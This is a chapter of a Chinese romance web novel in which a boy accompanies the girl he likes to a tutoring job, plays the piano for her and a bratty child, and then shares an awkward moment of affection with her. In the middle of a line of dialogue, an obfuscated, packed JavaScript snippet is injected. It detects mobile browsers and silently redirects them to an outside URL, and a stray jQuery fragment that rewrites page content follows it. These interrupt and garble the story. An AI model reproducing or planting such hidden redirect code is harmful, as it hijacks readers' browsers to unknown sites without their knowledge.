樊望宇这两天无比苦恼。
……为什么最近约一诗都不顺利呢?
不知道是不是上次樊星承那事惹她不高兴了,反正自那以后,她都不太愿意跟他出来了。
看来得想个其他办法才行。
他想到这里,长叹一声,无奈推开房间门,结果又被房里的樊星承给吓了一跳,遂怒问:“樊星承,你老偷跑进我房间做什么?”
“本来我们两个的房间就被禁止上锁,进谁屋不是进,有什么区别?”樊星承坐在书桌前,若无其事地翘着二郎腿玩手机游戏,“明天晚上家族聚餐,你知道吗?”
“知道,所以呢?”
“所以你明天要不要和我一起去看画展?”樊星承放下手机,一脸认真,“等差不多到了晚饭时间,你就说我身体不舒服要带我去看医生,不回家吃饭了。”
“吃顿饭怕什么?没出息。”樊望宇鄙夷道,“我才懒得陪你疯,明天没空。”
樊星承同样嗤之以鼻:“你明天要干嘛,和一诗姐约会?”
“嘘,你小声点!”樊望宇赶紧捂住他的嘴,“我只是有这个打算,但还没计划好!”
“那你和一诗姐说了吗?”
“还、还没……”
“现在都几点了,再不通知,人家都睡觉了。”樊星承掰开樊望宇的手,意味深长地坏笑道,“不如我来帮你出谋划策怎么样?”
“就凭你?”樊望宇冷冷地瞥他,“你能出什么谋划什么策,捣乱还差不多。”
“话不能这么说啊,二哥!”樊星承佯装委屈,“现在家里认识一诗姐的人只有我,你不多透露一点信息给我,将来我怎么替你打掩护?”
樊望宇半信半疑地盯他半晌,才犹豫着说道:“我……想找个低调没人打扰的见面地点,不能让爸妈管家他们知道。”
“就这?我看你才没出息。”樊星承听完莫名其妙,“这种小事有什么好纠结的?你直接去问一诗姐想去哪不就行了,你不敢问我帮你问!”
话间他已经拨通了电话。
“等等!”
樊望宇惊慌失措,刚想去抢手机,那边俞一诗就已经接了起来:
“喂,星承?”
一听见她的声音,樊望宇的火气瞬间就消了大半。他欲言又止,想出声提醒俞一诗不要陪樊星承胡闹,可又按捺不住听到回答的欲望,导致说又不敢说,光憋着一口气上不去下不来。
樊星承严肃地对他做个“嘘”的手势,调成外放模式放在两人中间,跟个没事人一样笑问:“姐姐,你现在有空吗?有件事我想问问你!”
“可以啊,说吧。”俞一诗那头说话含糊不清的像是正在吃饭。
“就是我哥想要和你独处,但不知道约你去哪里比较好,你有没有什么想去的地方?有的话就告诉我呗!”
这么直白的吗?!
樊望宇脸一阵红一阵白,难以置信樊星承会直球成这样。
“独处?”俞一诗似乎也愣住了,“我想想……”
樊望宇和樊星承此时不由屏住呼吸,静静等待俞一诗说出口的答案。
“这样吧。”俞一诗沉默良久,徐徐出声说道,“我明天确实有个想去的地方,你告诉他想跟过来的话就联系我。”
“成啦!”樊星承挂了电话,先是拍手欢庆,又转身猛拍樊望宇背部,“太好了,二哥!这样一来就皆大欢喜……你怎么好像不太开心?”
“不……”樊望宇微微失神一秒,双眉越蹙越深,“我只是觉得,她答应得这么干脆,肯定没什么好事。”
希望他的预感不要灵验才好。
但这是不可能的。
第二天一早,当樊望宇只身下了汽车,仰望眼前那一栋小区楼房时,心如死灰地想着:预感果然灵验了。
昨天听俞一诗答应得干脆无比,樊望宇就隐隐感到了不对劲。等到他今天诚惶诚恐地给她打电话询问,对方就只甩下了一句话:
“先别问这么多了,我待会儿发你一个地址,你9点准时在那等我吧。”
“……”
怎么办?
樊望宇一边进小区,一边纠结万分:明知道不会有什么好事,可如果不来,就又少了一次能与一诗见面的机会,好烦……
然而,当樊望宇发现早已在楼栋下等待的俞一诗,再亲眼看见她笑脸时,所有的郁结都在顷刻间烟消云散了。
“望宇,你来啦!”俞一诗朝他招招手,莞尔悦声道,“到我这里!”
“一诗!”樊望宇喜上眉梢,屁颠屁颠地跟着她进了电梯,“你今天到底是……”
“我是来做兼职的。”
“兼职?”樊望宇蓦然一呆,“什么兼职?”
“辅导小学生作业。”俞一诗回答,“孩子妈妈是我房东朋友的女儿,我帮他也算还了房东人情,报酬虽然只有一点伙食费,但胜在时间自由,小孩做作业时我也能看自己的书。”
“辅导?你?”樊望宇表示极度震惊,“他们不怕你误人子弟?”
俞一诗一个难堪,随即羞赧地怼道:“你别小看我好不好!小学三年级的题我还是能教的,再说我成绩现在已经进步很多了!”
“是,是,你最厉害了。”樊望宇看她一眼,忍俊不禁。
两人出了电梯,便按响了一户人家的门铃。
很快,一个大着肚子的女士为他们开了门,而对方一见樊望宇,立马眉开眼笑:“哎呀,还真是个小帅哥!”
“苏阿姨你好!”俞一诗笑容灿烂,“他就是我昨天向你提到过的,思霖国际部高一的樊同学!他今天也来帮忙一起辅导小川!”
“国际部!真的吗?”苏静雅惊奇地道,“我记得想进思霖国际部很难的吧,要成绩拔尖的人才行!”
“对啊,他们是全英授课的哦,所以小川的英语作业交给他就好!”俞一诗滔滔不绝地继续吹捧,“不仅如此,他还精通法语、西班牙语,擅长中提琴,会开帆船,是天才中的天才,绝对能成为一个好老师的!”
“……喂。”
樊望宇无语地斜她一眼,心说这未免吹得太过了吧?
“太好啦,那我放心多了!”苏静雅欣慰地笑了起来,回头拎起背包,朝两人挥了挥手,“小川还在房间玩,那我去医院做产检喽,12点前回来!”
樊望宇诧异地目送苏静雅离开,直至家门彻底关上,他仍是一副若有所思的样子。
“怎么了?”俞一诗察觉到他的异样,忍不住问。
“看苏阿姨的肚子,至少有七个月了吧?”樊望宇眨眨眼,愕然说道,“她竟然要自己出门去医院产检吗?”
“唉,没办法,她老公忙着加班,每天早出晚归。”俞一诗哀叹一声,“听房东说,他们家里的老人也都不愿过来帮忙,反正我看着他们两夫妻忙前忙后,也怪辛苦的,有些忙我能帮就帮吧。”
樊望宇低下头,依旧未从惊讶中回神:“我妈和她差不多,现在已经早早住进护理中心了,24小时都有人看护。要是我妈也像苏阿姨那样凡事只能靠自己,我都不敢想象,她会被逼疯成什么样……”
“这么说,星承也快要当哥哥喽?恭喜!”
樊望宇却面露惆怅,丝毫高兴不起来。
俞一诗轻轻拍了拍他的肩膀,类似安慰,然后便径自穿过客厅,来到儿童房前敲门:“小川!你在里面吗,开始做作业了没有?”
“……”
见无人应答,俞一诗心生疑惑,干脆直接拧开门:“小川?我跟你说话你有没有听……”
话间,随着房门被打开,一团黑影竟朝俞一诗的脑袋“嗖”地袭来。
说时迟那时快,樊望宇把她往后一扯,夺身上前,一揽手就精准接下了飞来的东西。
他将不明物体其握在手上,定睛一看,才发现那原来是一只网球。
“哼哈哈,吓到没有!”
二人对面,一个小男孩举着发射枪哈哈大笑,“这是我新买的训狗玩具,可以当火箭炮哦!酷不酷?”
“……世上居然有比樊星承更欠扁的小孩。”樊望宇缓缓捏紧网球,面色阴沉地冷笑。
俞一诗呵呵:“你那是见得少,极品熊孩子多的去了,跟他们比,你弟弟都算懂事了。”
“咦,今天怎么多了个男的?”魏小川见到樊望宇,立刻指着他一脸臭屁地问,“这人谁啊?我妈新找的老师?”
“没错,这哥哥英语超好哦,今天就由他来教你语法!”俞一诗自豪地笑道。
“我不要!”魏小川却发火了,“爸爸说今天要带我去儿童乐园的!”
“你爸爸今天要去公司加班。”俞一诗扶额叹气,“你先乖乖把作业写完,明天再叫爸爸带你去玩可以吗?”
魏小川捂耳朵,不依不饶地大吼:“不要不要不要!除非他现在回来带我去游乐园,不然我不写作业!”
“不要任性!”俞一诗也火冒三丈,“理解一下你爸爸妈妈吧,他们很辛苦的!”
“不听不听王八念经!”
啪!
就在这时,有人突然将书本狠狠甩至桌面,发出巨大响声,把吵架中的俞一诗和魏小川都吓了一大跳。
樊望宇放下丢书的手,彻底黑脸,居高临下地瞪视魏小川:“少废话,过来写作业。”
“……哦。”
俞一诗看着魏小川乖乖就范的怂样,不禁感叹,生气的望宇有时候还怪好用的,看来凶也有凶的好处,至少,震慑熊孩子威力十足。
*
“所以,当题目问Can I have some water please时,你应该选这个选项……”
樊望宇坐在书桌边,微顷半身,正沉声为魏小川讲解着习题。
而俞一诗静静凝望这一幕,情不自禁扬起一抹暖笑。
“……你还挺厉害的嘛。”魏小川完成最后一道练习,噘着嘴叨咕,“你是哪个学校的?”
“思霖国际。”樊望宇淡淡回答。
“啊?怎么可能!”魏小川不敢相信,毫不客气地指向俞一诗,“她也是思霖的,为什么看起来就笨笨的?难道她读了个假学校?”
“没礼貌,我哪有这么不堪!”俞一诗恼羞成怒,“你望宇哥是国际部的,比我优秀不是很正常吗?!”
“国际部?”魏小川一愣,“听说在那里读书的人都是天才?”
樊望宇莫名郁闷:“哪有这么夸张,我也不是天才。”
“我不信,我爸妈说国际部的人琴棋书画样样精通!”魏小川跳下椅子,跑向房间角落的三角钢琴,“正好我有钢琴,来,你弹一个给我看,弹完我就信你是国际部的。”
“不要。”樊望宇不耐烦地拒绝,“凭什么我要向你证明?再说我早就放弃弹钢琴了。”
谁知俞一诗却眼前一亮,激动得恨不能一蹦三尺高:“什么,望宇你还会弹钢琴?好厉害!能不能弹给我听听?你知道吗,我一直觉得会乐器的人都好优雅好有气质,我好喜欢!”
这番话把樊望宇听得面红耳赤:“喜……喜欢?……”
俞一诗对他抬起恳求的双眼:“弹嘛弹嘛,望宇!我真的很想看你弹钢琴的样子!”
“呃……”樊望宇视线左右游移,期期艾艾道,“这个……我……”
“来吧,望宇!”俞一诗把半推半就的樊望宇拉到钢琴前,“我相信你!先试试
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17110698|187289||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
看好不好?”
樊望宇缓然在钢琴前坐下,回首微红着脸,不满道:“先声明,我只会简单的曲子,而且已经很久没弹过了,弹错了别怪我。”
“放心,你弹错了我会批评指正的。”魏小川满不在乎地回嘴。
俞一诗点头如捣蒜,无比期待:“没事的,反正我也听不出来!你放心大胆地弹!”
“那行吧。”樊望宇转头面向钢琴,犹豫片刻,才略带羞涩低低地问,“Mariage d''amour,这首可以吗?”
突然冒出来的外语,让俞一诗一头雾水:“什么?”
樊望宇将手放在琴键上,调整好姿势,身形便僵滞了一阵,似是在回忆着什么。但下一秒,优美的旋律就从他指尖流淌而出。
他微低着头,神情专注,长睫毛稍稍下阖,深邃的眼眸凝视琴键,修长手指落在其上灵活地跳跃着。
阳光泻下,轻柔地笼罩在樊望宇身上,阴影从他颈脖延伸至喉结,再到衬衫领口若隐若现的锁骨,都似为人间奏响仙乐的天使那般,圣洁而无暇。
不知不觉间,俞一诗看得面色绯红,深深地心醉沉迷——
这就是她的至宝,她心中最完美的王子!
一曲完毕,樊望宇果断收起手,忐忑地瞟向俞一诗:“……如何?”
“太帅了望宇,你好棒哦!”俞一诗激动不已,拼了老命给他鼓掌,“弹得太好了,好像童话里的王子!”
“你……你满意就好。”樊望宇难为情地羞红了脸,别过眼睛,忸怩道,“反正我妈一直不太满意,所以不让我弹了。”
“为什么?”俞一诗颇为惋惜,“明明弹得这么好呢!”
魏小川叉腰不屑一顾:“水平欠佳。”
“那是你不会欣赏!”俞一诗反驳完他,又笑眯眯看向樊望宇,“反正在我心里,望宇做什么都很棒!你就是全天下最完美的人!”
“怎么可能,你太夸张了……”
樊望宇虽然表面保持谦虚,但还是控制不住地翘起嘴角,内心早已窃喜到天上去了。
就在两人冒着粉红泡泡时,魏小川冷不丁地问:“你是他妈妈吗?”
“咦?”
俞一诗和樊望宇怔愣着看向魏小川。
“因为像‘你最棒’之类的话,不是只有你妈妈才会说吗?”魏小川百思不得其解。
“我……”樊望宇错愕一瞬,茫然垂下了眼帘,“我妈妈没对我说过这些。”
俞一诗大惊失色,即刻气冲冲地一把抓住魏小川:“等等,你怎么能说这种话,真失礼!给我向哥哥道歉!”
“凭什么,我又没说错!”
“不、不好意思。”俞一诗惴惴不安地扭头,弱弱致歉道,“小孩子说话不经大脑,那什么,你千万别……”
不料樊望宇只回以豁然的浅笑:“没事,我不介意。”
……
等到两人从住宅楼里出来,俞一诗总算送了口气,心情愉悦地神了个懒腰。
“今天也顺利完成任务!”她愉悦地朝樊望宇比了个“V”字手势,“谢谢你愿意过来陪我,望宇!”
樊望宇轻哼,不悦地攒眉抱怨:“可我只想和你单独……”
话音未落,他忽然感到掌心一暖,不禁讶然低下了头。
只见俞一诗握起樊望宇的一只手,认真端详他骨节分明的每一根手指,摇头啧啧赞叹:“果然,望宇你的手太好看了!”
“呃,是吗?”樊望宇双颊腾的烧红,只好含糊不清地干笑,“谢、谢谢……”
俞一诗满眼心动,轻柔摩挲着他的手背,指尖也不自觉抚上其无名指,脱口而出道:“这么漂亮的手,戴起戒指来一定很美吧?”
话一说完,对面整个手臂陡然僵硬,她怔怔地抬头,映入眼帘的却是眼含惊诧、面色通红的樊望宇。
直至这时,俞一诗才反应过来,自己刚刚说的话有多暧昧。
“对对对不起!”
俞一诗迅速丢开手,在羞愧中深埋下头,恨不得能当场打洞钻入地底,“我我我这个人说话没有分寸,像个流氓一样,那个……”
樊望宇也僵硬地低下熟透的脸庞:“没关系。”
于是乎,两个人就此各自傻站原地,久久不敢看向对方,更不敢开口说话。
最终,还是俞一诗先打破了尴尬,犹疑着小声问:“这样你满意吗?”
“什么意思?”樊望宇呆呆地问。
“就是独处啊。”俞一诗瞅了他一眼又转向别处,“你不是说想和我独处吗,像今天这种你满不满意?”
樊望宇沉默几秒,猝然暗下眼神,目露凶光:“你傻吗?怎么可能满意!”
俞一诗讪讪一笑:“也对……”
“我指的独处,是只有我们两个人!旁边还有个臭小孩算什么独处!”
“哈哈。”
樊望宇一咬牙,索性豁出去了,步步紧逼她追问道:“所以你到底想去哪里?海边,游轮,出国?随便什么都好你先把想法告诉我啊!”
“我没什么想法……”
“没有你现在就给我想一个!”
“我想……嗯……”
俞一诗为难地歪头思考间,蓦然灵机一动。
为此,她踮起脚尖,在樊望宇同时下意识的弯腰中,俞一诗凑近他耳边,轻声呢喃道:
“有你在的地方。”
听到这答案,樊望宇失神了良久,后才脸热热地瞪着她问:“你这是在敷衍我吗?”
俞一诗盈盈笑而不语。
樊望宇皱紧眉头盯了她半晌,最终自讨没趣地别过双眼,任由面色晕染绯红:
“……笨蛋。”